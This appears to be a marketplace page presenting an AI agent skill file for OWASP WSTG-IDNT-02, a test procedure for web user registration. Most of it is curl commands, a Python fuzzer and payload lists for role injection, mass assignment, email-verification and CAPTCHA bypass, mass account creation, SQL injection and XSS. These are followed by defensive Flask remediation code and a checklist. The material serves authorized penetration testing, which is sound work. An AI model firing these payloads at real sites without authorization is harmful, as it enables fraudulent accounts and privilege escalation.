用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-idnt-02命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | wstg-idnt-02 |
| description | Test User Registration Process |
| category | identity-management |
| owasp_id | WSTG-IDNT-02 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["identity","user-enum","roles","wstg","idnt"] |
| tech_stack | [] |
| cwe_ids | [] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-IDNT-02
Test User Registration Process
The user registration process is a critical security boundary where new identities are created in the system. Testing this process identifies vulnerabilities such as weak identity verification, insufficient validation, mass registration vulnerabilities, and privilege escalation during account creation. A flawed registration process can lead to account fraud, spam, and unauthorized access.
| Vulnerability | Description |
|---|---|
| Weak verification | Easy to bypass identity checks |
| No rate limiting | Mass account creation possible |
| Parameter tampering | Role injection during registration |
| Email verification bypass | Access without confirmation |
| Information disclosure | Username enumeration |
# Capture registration request
curl -s -X POST "https://target.com/api/register" \
-H "Content-Type: application/json" \
-d '{
"username": "testuser",
"email": "test@example.com",
"password": "TestPass123!"
}' -v
# Note all parameters accepted
# Look for hidden parameters in HTML source
curl -s "https://target.com/register" | grep -i "input\|name="
# Try adding role/admin parameters
curl -s -X POST "https://target.com/api/register" \
-H "Content-Type: application/json" \
-d '{
"username": "attacker",
"email": "attacker@test.com",
"password": "TestPass123!",
"role": "admin"
}'
# Try isAdmin flag
curl -s -X POST "https://target.com/api/register" \
-H "Content-Type: application/json" \
-d '{
"username": "attacker",
"email": "attacker@test.com",
"password": "TestPass123!",
"isAdmin": true,
"admin": 1,
"usertype": "administrator"
}'
# Try array injection
curl -s -X POST "https://target.com/api/register" \
-H "Content-Type: application/json" \
-d '{
"username": "attacker",
"email": "attacker@test.com",
"password": "TestPass123!",
"roles": ["user", "admin"]
}'
# Register and check if immediately accessible
curl -s -X POST "https://target.com/api/register" \
-H "Content-Type: application/json" \
-d '{
"username": "unverified",
"email": "unverified@test.com",
"password": "TestPass123!"
}'
# Try logging in before verification
curl -s -X POST "https://target.com/api/login" \
-H "Content-Type: application/json" \
-d '{
"email": "unverified@test.com",
"password": "TestPass123!"
}'
# Try accessing protected resources
curl -s -H "Authorization: Bearer $UNVERIFIED_TOKEN" \
"https://target.com/api/user/profile"
#!/bin/bash
# Mass registration attempt
for i in {1..100}; do
response=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "https://target.com/api/register" \
-H "Content-Type: application/json" \
-d "{
\"username\": \"testuser$i\",
\"email\": \"test$i@example.com\",
\"password\": \"TestPass123!\"
}")
echo "Attempt $i: $response"
if [ "$response" == "429" ]; then
echo "Rate limited after $i attempts"
break
fi
done
# Submit without CAPTCHA
curl -s -X POST "https://target.com/api/register" \
-H "Content-Type: application/json" \
-d '{
"username": "nocaptcha",
"email": "nocaptcha@test.com",
"password": "TestPass123!"
}'
# Submit with empty CAPTCHA
curl -s -X POST "https://target.com/api/register" \
-H "Content-Type: application/json" \
-d '{
"username": "emptycaptcha",
"email": "emptycaptcha@test.com",
"password": "TestPass123!",
"captcha": ""
}'
# Reuse old CAPTCHA token
curl -s -X POST "https://target.com/api/register" \
-H "Content-Type: application/json" \
-d '{
"username": "oldcaptcha",
"email": "oldcaptcha@test.com",
"password": "TestPass123!",
"captcha": "PREVIOUSLY_USED_TOKEN"
}'
# SQL injection in username
curl -s -X POST "https://target.com/api/register" \
-H "Content-Type: application/json" \
-d '{
"username": "admin'\''--",
"email": "sqli@test.com",
"password": "TestPass123!"
}'
# XSS in profile fields
curl -s -X POST "https://target.com/api/register" \
-H "Content-Type: application/json" \
-d '{
"username": "<script>alert(1)</script>",
"email": "xss@test.com",
"password": "TestPass123!",
"name": "<img src=x onerror=alert(1)>"
}'
# Email format bypass
curl -s -X POST "https://target.com/api/register" \
-H "Content-Type: application/json" \
-d '{
"username": "bademail",
"email": "test@test@test.com",
"password": "TestPass123!"
}'
# Register same username
curl -s -X POST "https://target.com/api/register" \
-H "Content-Type: application/json" \
-d '{
"username": "existinguser",
"email": "new@test.com",
"password": "TestPass123!"
}'
# Register same email with different username
curl -s -X POST "https://target.com/api/register" \
-H "Content-Type: application/json" \
-d '{
"username": "newuser",
"email": "existing@company.com",
"password": "TestPass123!"
}'
# Case variation
curl -s -X POST "https://target.com/api/register" \
-H "Content-Type: application/json" \
-d '{
"username": "ExistingUser",
"email": "EXISTING@company.com",
"password": "TestPass123!"
}'
| Tool | Description | Usage |
|---|---|---|
| Burp Suite | Request interception | Modify registration parameters |
| curl | Command-line HTTP | Scripted testing |
| Postman | API testing | Collection-based tests |
| Tool | Description |
|---|---|
| Burp Intruder | Fuzzing registration fields |
| OWASP ZAP | Automated scanning |
| Nuclei | Template-based testing |
// Role escalation attempts
{"role": "admin"}
{"role": "administrator"}
{"isAdmin": true}
{"admin": 1}
{"userType": "admin"}
{"accessLevel": 9999}
{"permissions": ["admin", "superuser"]}
{"group": "administrators"}
// Mass assignment payloads
{"verified": true}
{"email_verified": true}
{"active": true}
{"approved": true}
{"credits": 99999}
{"balance": 99999}
#!/usr/bin/env python3
import requests
import json
target = "https://target.com/api/register"
# Base registration data
base_data = {
"username": "fuzztest",
"email": "fuzz@test.com",
"password": "TestPass123!"
}
# Additional parameters to test
fuzz_params = [
{"role": "admin"},
{"isAdmin": True},
{"admin": 1},
{"userType": "administrator"},
{"verified": True},
{"permissions": ["admin"]},
{"accessLevel": 999},
]
for param in fuzz_params:
test_data = {**base_data, **param}
test_data["username"] = f"fuzz_{list(param.keys())[0]}"
test_data["email"] = f"fuzz_{list(param.keys())[0]}@test.com"
response = requests.post(target, json=test_data)
print(f"Testing {param}: {response.status_code}")
if response.status_code == 200:
print(f" [!] Accepted with extra param: {param}")
print(f" Response: {response.text[:200]}")
# Python/Flask example
from flask import request, jsonify
ALLOWED_REGISTRATION_FIELDS = {'username', 'email', 'password', 'name'}
@app.route('/api/register', methods=['POST'])
def register():
data = request.get_json()
# Only accept whitelisted fields
clean_data = {k: v for k, v in data.items()
if k in ALLOWED_REGISTRATION_FIELDS}
# Validate each field
if not validate_username(clean_data.get('username')):
return jsonify({'error': 'Invalid username'}), 400
if not validate_email(clean_data.get('email')):
return jsonify({'error': 'Invalid email'}), 400
# Create user with default role
user = create_user(
username=clean_data['username'],
email=clean_data['email'],
password=hash_password(clean_data['password']),
role='user', # Always set default role
verified=False # Always require verification
)
send_verification_email(user)
return jsonify({'message': 'Please verify your email'}), 201
# Require email verification before access
@app.route('/api/protected')
@login_required
def protected_resource():
if not current_user.email_verified:
return jsonify({'error': 'Please verify your email first'}), 403
return jsonify({'data': 'Protected content'})
from flask_limiter import Limiter
limiter = Limiter(app, key_func=get_remote_address)
@app.route('/api/register', methods=['POST'])
@limiter.limit("5 per hour") # 5 registrations per IP per hour
def register():
# Registration logic
pass
import requests
def verify_captcha(captcha_response):
response = requests.post(
'https://www.google.com/recaptcha/api/siteverify',
data={
'secret': RECAPTCHA_SECRET,
'response': captcha_response
}
)
return response.json().get('success', False)
@app.route('/api/register', methods=['POST'])
def register():
if not verify_captcha(request.json.get('captcha')):
return jsonify({'error': 'Invalid CAPTCHA'}), 400
# Continue registration
| Finding | CVSS | Severity |
|---|---|---|
| Role injection during registration | 9.8 | Critical |
| Email verification bypass | 7.5 | High |
| No rate limiting | 5.3 | Medium |
| CAPTCHA bypass | 5.3 | Medium |
| Weak input validation | 6.1 | Medium |
| CWE ID | Title | Description |
|---|---|---|
| CWE-287 | Improper Authentication | Weak identity verification |
| CWE-269 | Improper Privilege Management | Role injection |
| CWE-770 | Allocation Without Limits | No rate limiting |
| CWE-20 | Improper Input Validation | Insufficient validation |
[ ] Registration form analyzed
[ ] All parameters documented
[ ] Role/privilege injection tested
[ ] Email verification bypass tested
[ ] Rate limiting verified
[ ] CAPTCHA implementation tested
[ ] Input validation tested
[ ] Duplicate prevention tested
[ ] Case sensitivity checked
[ ] Mass assignment tested
[ ] Information disclosure checked
[ ] Remediation recommendations provided